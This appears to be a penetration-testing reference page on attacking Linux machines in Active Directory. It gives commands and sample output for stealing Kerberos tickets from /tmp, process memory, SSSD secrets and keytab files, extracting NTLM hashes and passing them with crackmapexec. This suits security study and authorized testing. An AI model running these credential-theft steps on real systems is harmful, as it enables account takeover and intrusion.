Linux Active Directory

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A linux machine can also be present inside an Active Directory environment.
A linux machine in an AD might be storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket. In order to read this tickets you will need to be the user owner of the ticket or root inside the machine.


AD enumeration from linux

If you have access over an AD in linux (or bash in Windows) you can try https://github.com/lefayjey/linWinPwn to enumerate the AD.
You can also check the following page to learn other ways to enumerate AD from linux:


It is an open source alternative to Microsoft Windows Active Directory, primarily used as an integrated management solution for Unix environments. Learn more about it in:

Playing with tickets

Pass The Ticket

In this page you are going to find different places were you could find kerberos tickets inside a linux host, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack:

CCACHE ticket reuse from /tmp

When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions
List the current ticket used for authentication with env | grep KRB5CCNAME. The format is portable and the ticket can be reused by setting the environment variable with export KRB5CCNAME=/tmp/ticket.ccache. Kerberos ticket name format is krb5cc_%{uid} where uid is the user UID.
ls /tmp/ | grep krb5cc
export KRB5CCNAME=/tmp/krb5cc_1569901115

CCACHE ticket reuse from keyring

Processes may store kerberos tickets inside their memory, this tool can be useful to extract those tickets (ptrace protection should be disabled in the machine /proc/sys/kernel/yama/ptrace_scope): https://github.com/TarlogicSecurity/tickey
# Configuration and build
git clone https://github.com/TarlogicSecurity/tickey
cd tickey/tickey
make CONF=Release
[[email protected] /]# /tmp/tickey -i
[*] krb5 ccache_name = KEYRING:session:sess_%{uid}
[+] root detected, so... DUMP ALL THE TICKETS!!
[*] Trying to inject in tarlogic[1000] session...
[+] Successful injection at process 25723 of tarlogic[1000],look for tickets in /tmp/__krb_1000.ccache
[*] Trying to inject in velociraptor[1120601115] session...
[+] Successful injection at process 25794 of velociraptor[1120601115],look for tickets in /tmp/__krb_1120601115.ccache
[*] Trying to inject in trex[1120601113] session...
[+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache
[X] [uid:0] Error retrieving tickets

CCACHE ticket reuse from SSSD KCM

SSSD maintains a copy of the database at the path /var/lib/sss/secrets/secrets.ldb. The corresponding key is stored as a hidden file at the path /var/lib/sss/secrets/.secrets.mkey. By default, the key is only readable if you have root permissions.
Invoking **SSSDKCMExtractor ** with the --database and --key parameters will parse the database and decrypt the secrets.
git clone https://github.com/fireeye/SSSDKCMExtractor
python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
The credential cache Kerberos blob can be converted into a usable Kerberos CCache file that can be passed to Mimikatz/Rubeus.

CCACHE ticket reuse from keytab

git clone https://github.com/its-a-feature/KeytabParser
python KeytabParser.py /etc/krb5.keytab
klist -k /etc/krb5.keytab

Extract accounts from /etc/krb5.keytab

The service keys used by services that run as root are usually stored in the keytab file /etc/krb5.keytab. This service key is the equivalent of the service's password, and must be kept secure.
Use klist to read the keytab file and parse its content. The key that you see when the key type is 23 is the actual NT Hash of the user.
klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab
[26] Service principal: host/[email protected]
KVNO: 25
Key type: 23
Key: 31d6cfe0d16ae931b73c59d7e0c089c0
Time stamp: Oct 07, 2019 09:12:02
On Linux you can use KeyTabExtract: we want RC4 HMAC hash to reuse the NLTM hash.
python3 keytabextract.py krb5.keytab
[!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck
[+] Keytab File successfully imported.
SERVICE PRINCIPAL : host/computer.domain
NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky
On macOS you can use bifrost.
./bifrost -action dump -source keytab -path test
Connect to the machine using the account and the hash with CME.
$ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN"
CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0


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